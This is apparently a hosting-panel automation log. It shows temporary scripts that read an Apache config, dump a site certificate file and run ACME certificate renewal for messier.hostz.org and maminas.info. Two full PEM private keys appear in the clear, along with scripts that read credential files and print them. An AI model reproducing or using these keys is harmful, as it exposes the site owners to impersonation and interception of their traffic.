        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_messier.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-07 16:48:04: 

chmod 755 /tmp/pkp776816; /tmp/pkp776816; rm /tmp/pkp776816

2026-06-07 16:48:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf	1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-07 16:48:04: 

PUT: /tmp/pkp698422

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-07 16:48:04: 

chmod 755 /tmp/pkp698422; /tmp/pkp698422; rm /tmp/pkp698422

2026-06-07 16:48:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt	7416
c8:14:74:a1:18:02:7f:34:6e:fa:40:2a:ae:03:13:58

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBnwv1p55J9FlYOyWReSDTBCqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA3MTU0OTIyWhcNMjYwOTA1MTU0OTIxWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAO36BQ7lTlL62/2VSA1myHPKst5KseLsqhq0l0jjlhKsa0dAeCXKted0TgAn
SFsoUMndxTe3bnxOmM73Z4X1CqivHbA+0uzs1Bi1cFDNV0gjZBMI/71vETbFS7za
q/qaTCK+oMa0SG7sgAJdUtBzAFRZgBBVFPIzYE7e3AzcFiG5PNFwO6A0I52bzfV/
Z5JW+16DZBNpvZDERv68+K/BavYbOmNk/R0ujGqTiS9U36IndF3HrAxkMKzQnlF5
5IUbo+erFBcZ2Mg0k08E7Dv2bI54pAKNIi7UO2UB4El+bnRHufYuC4KDwTjhyNQF
f95fqzysf8KJhxOwNuJbTH25DE0CAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR3
qv8kavyJvWqodyu6ta/j6v+CeDAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lc3NpZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5j
ci5vcmcvNDMuY3JsMIIBCgYKKwYBBAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFE
X1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGeovvQIAAABAMARjBEAiAzaAKDnd9H
y7Ez92aCbF594hFmQ1dE3pG1xUSoPiAZkwIgFuelelikbUMzRT5kPE7xd0v7qJHn
tdM+XhIw7CuAbqQAfQCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAA
AZ6i+9JyAAgAAAUADl/55QQDAEYwRAIgV4McxdlEpRz30S61NhqvZ84GvTiVLfWw
W0SYzmuq/FECIDDOooSIyHrZA+GOru0+c5q3gr/MYrT9OdcL2aZtcCAzMA0GCSqG
SIb3DQEBCwUAA4IBAQClmZOZ2GMCzHkr21flKQRtS01t3MwmG/cg2KEwfotZv2YF
f0HDK0ahjvJwh4zf5X56Wu9wSGVS592HPqFDY6BgFY4bo0F4OqYbVY2KW7NgYGen
lECt2VDKA2QLgZfXfahJqn5PUOLZS7fL0dMQLuaEW63fSfouM7oqWHtyX3gEYdtK
VwA+euKuOTP1Ozip6H9k0+SBzWdw4gWeYSW5kBLegvwnlhl2vMkyNEfP+jyk2S4i
a2pdIkHfYcr0D7jm/lVGCGrW6q8mMxBfGjpk0lY560Pm1/Y67HUtqa1lbcNRa6Fn
rSDzjRSpMMZj8O3BprwRHjpeF8tImp5c6CRUU4pk
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDt+gUO5U5S+tv9
lUgNZshzyrLeSrHi7KoatJdI45YSrGtHQHglyrXndE4AJ0hbKFDJ3cU3t258TpjO
92eF9Qqorx2wPtLs7NQYtXBQzVdII2QTCP+9bxE2xUu82qv6mkwivqDGtEhu7IAC
XVLQcwBUWYAQVRTyM2BO3twM3BYhuTzRcDugNCOdm831f2eSVvteg2QTab2QxEb+
vPivwWr2GzpjZP0dLoxqk4kvVN+iJ3Rdx6wMZDCs0J5ReeSFG6PnqxQXGdjINJNP
BOw79myOeKQCjSIu1DtlAeBJfm50R7n2LguCg8E44cjUBX/eX6s8rH/CiYcTsDbi
W0x9uQxNAgMBAAECggEABBfaf1eNu6JqzpAW6fGieyjqwcLRSuvpUvIc2xuheLc2
y57KQQTEpIILw5BL3nWFD3FYTCEwpDpnsxA9ZUpzYUCbrB4SW5umly9wWWwOvpK+
fg/JGf4ZXxUulRQ4P4HVIgbu5LI0NffoA7/ve/Jebp7TeJvULmbnNGVP/Iu3AqjV
kgCP3xhhPiPiHLqgIhkUr5mqFxjXYfsJZOC/R6R4kVvstrpUSHYgLyCYkUpE3Mik
kLRxDVmKmDozpCfuC06TUwBlJuliCioTazccQCKiEq21WcpM2cNmeW841II0CWz4
KHNFI+tL+HYzYRnn+HTcMGuOc5KD+K7XyJ0IvFFrAQKBgQD9Iw7tR3bMjmZ7tU57
b6CvgaXyJ/NqHq0EHYAacWAnrV5YrNLqUqJ3v9Umkcg2pKS2EwN5unO+3QW+HzRE
s/O3Rg4vKwKCi/27zsQasSkMBDjUkiaeojNm/006m3nXWbclYEbvT6qRAhtQ064V
D2F4LcmFLP9aLPWwjY2Em22XbQKBgQDwqxDVrKQ/Lr9PG19M9nKmjNgragKjTgsI
5mlhP09cca37I/kf0ZT7wA3fGE+NOBOTHZImGpDCMIh8bvQ9fx4aUra/1ZvJAjlH
A29N4z4ULetj8KMOzYX6L8sfeCbG2F701dTuDaTFAVljuGyOgQeOacBmkdOC/7wh
evJM57XcYQKBgQCHRsgAV9ON53+vFqo1XudBQ4i6S01S5cfSTi2adAJN0eF8hAdH
ABgg5Jx1Oy0CvqPjRW/zCog2dIlQG/7jxEM3KzIDVPnHaCaVyh6UoR5tdIgmWWBY
IBhWL5NHAbVwN1qfl77wvuNJERYl8Km0SX7uKZHrIKvpteMqkcsSFbnQVQKBgGr+
om1cY2jzj3nL4YKFzlLdKv2iE6omeCFszky9qLqgj4inZYoP0vxZVdFpLXTLCWjO
LLtj9BdhHEy1xz/P08JAI58FiEzFAFHh5QnrjR3LjGrSAKwEExw3Q0aqVBLy/sQ6
jH+I8UfkYalDxH9WPdXCjhcLnc0PhMQdtLscCG4BAoGAdy2WkotKjb9t8Li8CThJ
IPqa845bfFJ3gmk5jmD3Ek8oBmUUXmohXIJjshyi95cPnlZ+VJQ9yB1vbFVa9EeD
KuDMaGLqU5KDhsiJJZLu4G922s7PkzfPM79XjAzxQNc+gDGNw0Jm6VEGTQ0baRXF
oFA2bRzBN0Y60BRN36fGX2g=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-08 06:00:01: Establishing a connection
2026-06-08 06:00:01: Establishing a connection
2026-06-08 06:00:02: 

PUT: /tmp/pkp566504

#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-08 06:00:02: 

chmod 755 /tmp/pkp566504; /tmp/pkp566504; rm /tmp/pkp566504

2026-06-08 06:00:02: 


1


2026-06-08 06:00:04: Establishing a connection
2026-06-08 06:00:04: 

PUT: /tmp/pkp747419

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > yfxsciUuzqwfBhETvf8a-5yLHCe_5jIwlWrFDH8LR54 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yfxsciUuzqwfBhETvf8a-5yLHCe_5jIwlWrFDH8LR54.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yfxsciUuzqwfBhETvf8a-5yLHCe_5jIwlWrFDH8LR54
cat > Uwp5wGHezDBbOVjUFlUqIrEiPSlot_xDY9xQKWmzbc8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Uwp5wGHezDBbOVjUFlUqIrEiPSlot_xDY9xQKWmzbc8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Uwp5wGHezDBbOVjUFlUqIrEiPSlot_xDY9xQKWmzbc8


2026-06-08 06:00:04: 

chmod 755 /tmp/pkp747419; /tmp/pkp747419; rm /tmp/pkp747419

2026-06-08 06:00:04: 




2026-06-08 06:00:15: Establishing a connection
2026-06-08 06:00:16: 

PUT: /tmp/pkp683912

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm yfxsciUuzqwfBhETvf8a-5yLHCe_5jIwlWrFDH8LR54
rm Uwp5wGHezDBbOVjUFlUqIrEiPSlot_xDY9xQKWmzbc8


2026-06-08 06:00:16: 

chmod 755 /tmp/pkp683912; /tmp/pkp683912; rm /tmp/pkp683912

2026-06-08 06:00:16: 




2026-06-08 06:00:16: Establishing a connection
2026-06-08 06:00:16: 

PUT: /tmp/pkp968796

#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt

cat > $temp_file <<'endmsg'
69:0e:e1:ae:c4:34:96:de:d9:69:b7:15:28:73:67:24

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBuBt6Izk2ko41UW+vPOawNiHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA4MDUwMTQ0WhcNMjYwOTA2MDUwMTQzWjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCT
nBAp8lZNVp4HOvOVTplY4w6WM+aFpJuWpCtNNcFoJ4MtY7rAW7yCP8DGneZgAWQU
Yf7VSTuUhbEYgUV9ejgH0bPWdflEb+AOlqG+N39h4BZ2/zBStY9Wg8vRW35AqT5W
sVNssztx9ItoGSdCIx5Fsxv4am9sxQYkQv4gF8dj+6xYCTsFknqWYlvQHMfpLBaE
ZfIVh1lzqitZMhLw/xBbI0gu9CkFtbk3XruzF++yQeP3K/9+LAxtDgkr0xOAx4HH
3+oWf28LCpWOphkxChDRTRcku9o+vYANw6vlcpIeyCbfByE7dRVyQJ6fidxgELRc
ptXq8t31ub2B5/TUjLRHAgMBAAGjggIqMIICJjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUXvXP41BG
EFl8I5slfQJOS1hlksAwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPsw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxtYW1pbmFzLmluZm+CEHd3dy5tYW1pbmFzLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDovL3ly
MS5jLmxlbmNyLm9yZy84LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB2ANgJ
VTuUT3r/yBYZb5RPhauw+Pxeh1UmDxXRLnK7RUsUAAABnqXRPzwAAAQDAEcwRQIg
dKjydU2spourXPB6N4bvDejjR9M8IXqa+kwuPSKeazYCIQDebiSXL3KtBH4w07jJ
LsBBAInyl3m3yZ91mtO+l7PK2QB9AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFz
gJ4YGOs6AAABnqXRQmIACAAABQAPYAL3BAMARjBEAiBO3iG7FABl4jVpyssXFoF5
un6bTISkYFTiegaF+mHmgQIgIsVIoiR1VrIAHrpu7ODxaDET7xU5530gqFuVu4Sg
kQUwDQYJKoZIhvcNAQELBQADggEBAHN3zV7F7ytOjZFLhpgkNWxJDXxJ+0tFv9Ol
b0d3MtEsaadt9Dh86/dAlaSd+hSziTH0CN7eTC5BGJGkgbjSdrGAl8WDpaaHnphZ
/+9Wr/D++jspZwmeEwV82syRoBt6DhOYKj/IxbGgcGLNQGi/FIlKAFX/AjzMFk2v
N52eLxzIgByCenptM7fOomxXXl8nRloPsN4f75byzByeukTEHk8IbWLiieoiXQ5N
69tdaNfWBiy4TbwF50IgRgHlsN98BeUOXCj+M4KsiiG+73OO6sKhiEBUQ3kUO2V4
hSsRBlvTLjp3G9h6kDAo60bQO5z2WFZF1iNNg1OAqyPw7w4zqiw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCTnBAp8lZNVp4H
OvOVTplY4w6WM+aFpJuWpCtNNcFoJ4MtY7rAW7yCP8DGneZgAWQUYf7VSTuUhbEY
gUV9ejgH0bPWdflEb+AOlqG+N39h4BZ2/zBStY9Wg8vRW35AqT5WsVNssztx9Ito
GSdCIx5Fsxv4am9sxQYkQv4gF8dj+6xYCTsFknqWYlvQHMfpLBaEZfIVh1lzqitZ
MhLw/xBbI0gu9CkFtbk3XruzF++yQeP3K/9+LAxtDgkr0xOAx4HH3+oWf28LCpWO
phkxChDRTRcku9o+vYANw6vlcpIeyCbfByE7dRVyQJ6fidxgELRcptXq8t31ub2B
5/TUjLRHAgMBAAECggEARgHmDqbvdIWotIAqp70b8LLbp7Rc2DSOUF9zZA6jOI1I
4z2iBHpdyR6IhQq9iPoP57Tkgm7VsabIq/kfppfRPDAijYvtWZ5/0xtxAcDbiuWX
cf+tAQU4Qs2GXLh6hBtgxAgdK3hEMNNNTOVlH7J9OIxurx5300wMkiUt1rXAbPPn
EbsqIydHC8qFJqd2kMvd3Qmrjc2YOeooIvKX1QxMiuWMvw5iX+fHFjFFBL+eUftT
RJq+3n59H2AJr6+OIYngRtkXOUGs8Hy94ZQUtUl5drZDome9pB7NdIo9jQS8JQzm
3MTN5Lgk5x6iXpi6HaO9vEN6eT3kjlMMv0zlDIChLQKBgQDMq9OVWI9sHUZvkuFa
vmjPfJ/g6SVF9ShzZToOGYI7nyRItllNcBzqARIYiaNNmIq1fEbNCdnqQjxy8H13
rY1Mc94P/G9rWUO++ah2aGI9P8j04hSSjiSJs9cIozyhlX8WqiSJlb720Lh0aXKf
LD7wu4MCmvzMBrPGk2PIe0uhXQKBgQC4oM4AH2AqHfzo+vitzE2Ru6WP+BQHuo/A
pkZ+pikHB+hq2EmJ6p4NQmU0O7bJDW8rvwl0+cr5JfQ0/FrPsx9xPohW4oGnuFXW
4UY13r9eDbYTMOGAP6Ok2xxem7TYS4F0+GXCiGDIsFHQjPs3y+an/Bs9zcxbC04r
lzp8Vbcd8wKBgQCrJvUkao5lBoYkP1ucGqZi/ABmgBDfU4ekF/5YVBSH7yjUdUhw
bVSAiqyrQE4DUZCM+4PpaleEgicyptEFB2ilii8khyBVUKxKQ1QQ0HF2bqSJw5UY
iS0cyfsECh1lsjI4rccoFsU+eIQHNTbYzJNFlEiWIS1NID2tzQsgV5qDMQKBgB+i
RcmVlqeAvd25arR0pfHLYgG58sykNY8/riJzG+J9g2ATMP51eaEx+B8sABSQvbSU
Je2qAxIPY7lUZ8bgnQmNOlUQuEBhgCuyK5J9WPKnjMPbAzgzLznG5SR8r07EGSlO
ijj7nwGj3FDMZxrXT+0GcDB1u4b59+nWHopBMX/rAoGAcZ5gj5THF9zRBb14wuBX
2UAa6q/USEW2Le2fScsocqQzWvvuRV+RjqD66mylsj808NTloLqTJu7Kb46UDmUC
wsHd0fr9ba8tXSseHNiNyviyNQnA68Yr2zLj7001KxBW/QsbOmYMrwiEqQfYq0f+
nOW3lhoEohq2Nvgv6p0CaSg=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
